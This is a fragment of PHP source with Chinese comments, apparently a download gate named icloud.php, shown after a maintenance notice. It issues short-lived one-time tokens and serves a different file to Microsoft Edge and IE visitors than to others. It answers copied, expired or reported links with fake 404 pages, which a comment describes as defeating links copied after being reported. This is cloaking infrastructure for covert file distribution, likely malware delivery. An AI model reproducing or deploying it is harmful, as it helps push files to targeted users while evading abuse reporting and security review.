The system is currently undergoing scheduled maintenance. Please try again later.

"; exit; } } // ------------------------------------------------------------------------- // 【第三步】首次握手：生成一次性随机安全 Token，并锁死浏览器状态 // ------------------------------------------------------------------------- if (!isset($_GET['tk'])) { // 生成一个 32 位的强随机加密暗号（无法被猜测或逆向） $token = bin2hex(random_bytes(16)); $tokenFile = $tokenDir . $token; // 关键核心：将当前浏览器的判定状态（1=微软，0=其他）直接作为内容写入服务器本地文件。 // 这能彻底防止下载器（如 IDM、迅雷）在二次多线程请求时因丢弃或伪造 UA 导致文件穿帮。 $statusContent = ($isMsEdgeChromium || $isMsEdgeLegacy || $isMsIE11 || $isMsIELegacy) ? '1' : '0'; @file_put_contents($tokenFile, $statusContent); // 携带该唯一暗号重定向跳转，进入正式下载通道 $downloadUrl = "icloud.php?tk=" . $token; header("Location: " . $downloadUrl); exit; } // ------------------------------------------------------------------------- // 【第四步】二次验证：检查 Token 合法性、时效性并执行终极锁死 // ------------------------------------------------------------------------- $userToken = $_GET['tk']; // 过滤非法字符，防止恶意用户利用 Token 参数进行路径遍历或注入攻击 $targetTokenFile = $tokenDir . preg_replace('/[^a-f0-9]/', '', $userToken); // 如果服务器本地没有这个 Token 文件，说明是伪造的、失效的、或是被举报后复制过来的链接 if (!file_exists($targetTokenFile)) { header("HTTP/1.1 404 Not Found"); echo "404 Not Found

404 Not Found

The requested URL was not found on this server.

"; exit; } // 检查 Token 文件的寿命，判断是否在安全生命周期内 $createdAt = filemtime($targetTokenFile); if (time() - $createdAt > $lifespan) { @unlink($targetTokenFile); // 超过指定秒数（如10秒），立刻从服务器硬盘上物理删除，永久报废 header("HTTP/1.1 404 Not Found"); echo "Link expired."; exit; } // 读取初次请求时在服务器端锁死的浏览器状态，精准分发对应文件 $lockedStatus = @file_get_contents($targetTokenFile); if ($lockedStatus === '1') { $realFile = $msFile; } else { $realFile = $otherFile; } // 检查配置的文件在服务器上是否真实存在，若文件丢失则报错提示 if (!file_exists($realFile)) { header("HTTP/1.1 404 Not Found"); echo "Error: Requested file is currently unavailable."; exit; } // ------------------------------------------------------------------------- // 【第五步】极健壮的二进制大文件流安全分发（规避内存溢出） // ------------------------------------------------------------------------- // 彻底清理、关闭并压制所有潜在的 PHP 输出缓冲区，确保大文件下载不卡死、不损毁 while (ob_get_level()) { ob_end_clean(); } // 发送极其标准、严谨的标准化下载响应头，强迫所有浏览器必须弹出下载框 header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($realFile) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: public, max-age=0, must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($realFile)); // 声明精确文件大小，使下载进度条正常显示 // 垃圾回收：以 5% 的概率随机触发过期缓存清理，自动删除超过 1 分钟的历史垃圾 Token 文件，防止撑爆磁盘 if (rand(1, 20) === 10) { foreach (glob($tokenDir . '*') as $file) { if (time() - filemtime($file) > 60) { @unlink($file); } } } // 采用高级分块读取机制（每次读取 8KB 传给用户），完美支持大文件分发，服务器内存占用极低 $fileHandle = fopen($realFile, 'rb'); if ($fileHandle) { while (!feof($fileHandle)) { echo fread($fileHandle, 8192); flush(); // 强行把缓冲区数据推送至用户浏览器 } fclose($fileHandle); } exit;